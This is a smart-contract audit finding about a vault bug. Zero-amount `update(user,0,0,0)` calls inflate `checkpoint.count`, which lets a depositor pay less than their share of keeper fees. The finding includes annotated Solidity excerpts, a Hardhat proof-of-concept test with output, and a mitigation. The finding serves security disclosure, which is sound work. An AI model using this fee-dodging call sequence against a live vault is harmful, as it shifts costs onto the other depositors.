Vulnerability: `Vault.update(anyUser,0,0,0)` can be called for free to increase `checkpoint.count` and pay smaller keeper fee than necessary
Severity: medium

Description:
`Vault._update(user, 0, 0, 0)` will pass all invariants checks:\\n```\\n// invariant\\n// @audit operator - pass\\nif (msg.sender != account && !IVaultFactory(address(factory())).operators(account, msg.sender))\\n    revert VaultNotOperatorError();\\n// @audit 0,0,0 is single-sided - pass\\nif (!depositAssets.add(redeemShares).add(claimAssets).eq(depositAssets.max(redeemShares).max(claimAssets)))\\n    revert VaultNotSingleSidedError();\\n// @audit depositAssets == 0 - pass\\nif (depositAssets.gt(_maxDeposit(context)))\\n    revert VaultDepositLimitExceededError();\\n// @audit redeemShares == 0 - pass\\nif (redeemShares.gt(_maxRedeem(context)))\\n    revert VaultRedemptionLimitExceededError();\\n// @audit depositAssets == 0 - pass\\nif (!depositAssets.isZero() && depositAssets.lt(context.settlementFee))\\n    revert VaultInsufficientMinimumError();\\n// @audit redeemShares == 0 - pass\\nif (!redeemShares.isZero() && context.latestCheckpoint.toAssets(redeemShares, context.settlementFee).isZero())\\n    revert VaultInsufficientMinimumError();\\n// @audit since this will be called by **different** users in the same epoch, this will also pass\\nif (context.local.current != context.local.latest) revert VaultExistingOrderError();\\n```\\n\\nIt then calculates amount to claim by calling _socialize:\\n```\\n// asses socialization and settlement fee\\nUFixed6 claimAmount = _socialize(context, depositAssets, redeemShares, claimAssets);\\n// rest of code\\nfunction _socialize(\\n    Context memory context,\\n    UFixed6 depositAssets,\\n    UFixed6 redeemShares,\\n    UFixed6 claimAssets\\n) private view returns (UFixed6 claimAmount) {\\n    // @audit global assets must be 0 to make (0,0,0) pass this function\\n    if (context.global.assets.isZero()) return UFixed6Lib.ZERO;\\n    UFixed6 totalCollateral = UFixed6Lib.from(_collateral(context).max(Fixed6Lib.ZERO));\\n    claimAmount = claimAssets.muldiv(totalCollateral.min(context.global.assets), context.global.assets);\\n\\n    // @audit for (0,0,0) this will revert (underflow)\\n    if (depositAssets.isZero() && redeemShares.isZero()) claimAmount = claimAmount.sub(context.settlementFee);\\n}\\n```\\n\\n`_socialize` will immediately return 0 if `context.global.assets == 0`. If `context.global.assets > 0`, then this function will revert in the last line due to underflow (trying to subtract `settlementFee` from 0 claimAmount)\\nThis is the condition for this issue to happen: global assets must be 0. Global assets are the amounts redeemed but not yet claimed by users. So this can reasonably happen in the first days of the vault life, when users mostly only deposit, or claim everything they withdraw.\\nOnce this function passes, the following lines increase checkpoint.count:\\n```\\n// update positions\\ncontext.global.update(context.currentId, claimAssets, redeemShares, depositAssets, redeemShares);\\ncontext.local.update(context.currentId, claimAssets, redeemShares, depositAssets, redeemShares);\\ncontext.currentCheckpoint.update(depositAssets, redeemShares);\\n// rest of code\\n// Checkpoint library:\\n// rest of code\\nfunction update(Checkpoint memory self, UFixed6 deposit, UFixed6 redemption) internal pure {\\n    (self.deposit, self.redemption) = (self.deposit.add(deposit), self.redemption.add(redemption));\\n    self.count++;\\n}\\n```\\n\\nThe rest of the function executes normally.\\nDuring position settlement, pending user deposits and redeems are reduced by the keeper fees / checkpoint.count:\\n```\\n// Account library:\\n// rest of code\\nfunction processLocal(\\n    Account memory self,\\n    uint256 latestId,\\n    Checkpoint memory checkpoint,\\n    UFixed6 deposit,\\n    UFixed6 redemption\\n) internal pure {\\n    self.latest = latestId;\\n    (self.assets, self.shares) = (\\n        self.assets.add(checkpoint.toAssetsLocal(redemption)),\\n        self.shares.add(checkpoint.toSharesLocal(deposit))\\n    );\\n    (self.deposit, self.redemption) = (self.deposit.sub(deposit), self.redemption.sub(redemption));\\n}\\n// rest of code\\n// Checkpoint library\\n// toAssetsLocal / toSharesLocal calls _withoutKeeperLocal to calculate keeper fees:\\n// rest of code\\n    function _withoutKeeperLocal(Checkpoint memory self, UFixed6 amount) private pure returns (UFixed6) {\\n        UFixed6 keeperPer = self.count == 0 ? UFixed6Lib.ZERO : self.keeper.div(UFixed6Lib.from(self.count));\\n        return _withoutKeeper(amount, keeperPer);\\n    }\\n```\\n\\nAlso notice that in `processLocal` the only thing which keeper fees influence are deposits and redemptions, but not claims.\\nThe scenario above is demonstrated in the test, add this to Vault.test.ts:\\n```\\nit('inflate checkpoint count', async () => {\\n    const settlementFee = parse6decimal('10.00')\\n    const marketParameter = { // rest of code(await market.parameter()) }\\n    marketParameter.settlementFee = settlementFee\\n    await market.connect(owner).updateParameter(marketParameter)\\n    const btcMarketParameter = { // rest of code(await btcMarket.parameter()) }\\n    btcMarketParameter.settlementFee = settlementFee\\n    await btcMarket.connect(owner).updateParameter(btcMarketParameter)\\n\\n    const deposit = parse6decimal('10000')\\n    await vault.connect(user).update(user.address, deposit, 0, 0)\\n    await updateOracle()\\n    await vault.settle(user.address)\\n\\n    const deposit2 = parse6decimal('10000')\\n    await vault.connect(user2).update(user2.address, deposit2, 0, 0)\\n\\n    // inflate checkpoint.count\\n    await vault.connect(btcUser1).update(btcUser1.address, 0, 0, 0)\\n    await vault.connect(btcUser2).update(btcUser2.address, 0, 0, 0)\\n\\n    await updateOracle()\\n    await vault.connect(user2).settle(user2.address)\\n\\n    const checkpoint2 = await vault.checkpoints(3)\\n    console.log("checkpoint count = " + checkpoint2.count)\\n\\n    var account = await vault.accounts(user.address);\\n    var assets = await vault.convertToAssets(account.shares);\\n    console.log("User shares:" + account.shares + " assets: " + assets);\\n    var account = await vault.accounts(user2.address);\\n    var assets = await vault.convertToAssets(account.shares);\\n    console.log("User2 shares:" + account.shares + " assets: " + assets);\\n})\\n```\\n\\nConsole output:\\n```\\ncheckpoint count = 3\\nUser shares:10000000000 assets: 9990218973\\nUser2 shares:10013140463 assets: 10003346584\\n```\\n\\nSo the user2 inflates his deposited amounts by paying smaller keeper fee.\\nIf 2 lines which inflate checkpoint count (after corresponding comment) are deleted, then the output is:\\n```\\ncheckpoint count = 1\\nUser shares:10000000000 assets: 9990218973\\nUser2 shares:9999780702 assets: 9989999890\\n```\\n\\nSo if not inflated, user2 pays correct amount and has roughly the same assets as user1 after his deposit.

Impact:
Malicious vault user can inflate `checkpoint.count` to pay much smaller keeper fee than they should at the expense of the other vault users.

Recommended mitigation:
Consider reverting (0,0,0) vault updates, or maybe redirecting to `settle` in this case. Additionally, consider updating checkpoint only if `depositAssets` or `redeemShares` are not zero:\\n```\\nif (!depositAssets.isZero() || !redeemShares.isZero())\\n    context.currentCheckpoint.update(depositAssets, redeemShares);\\n```\\n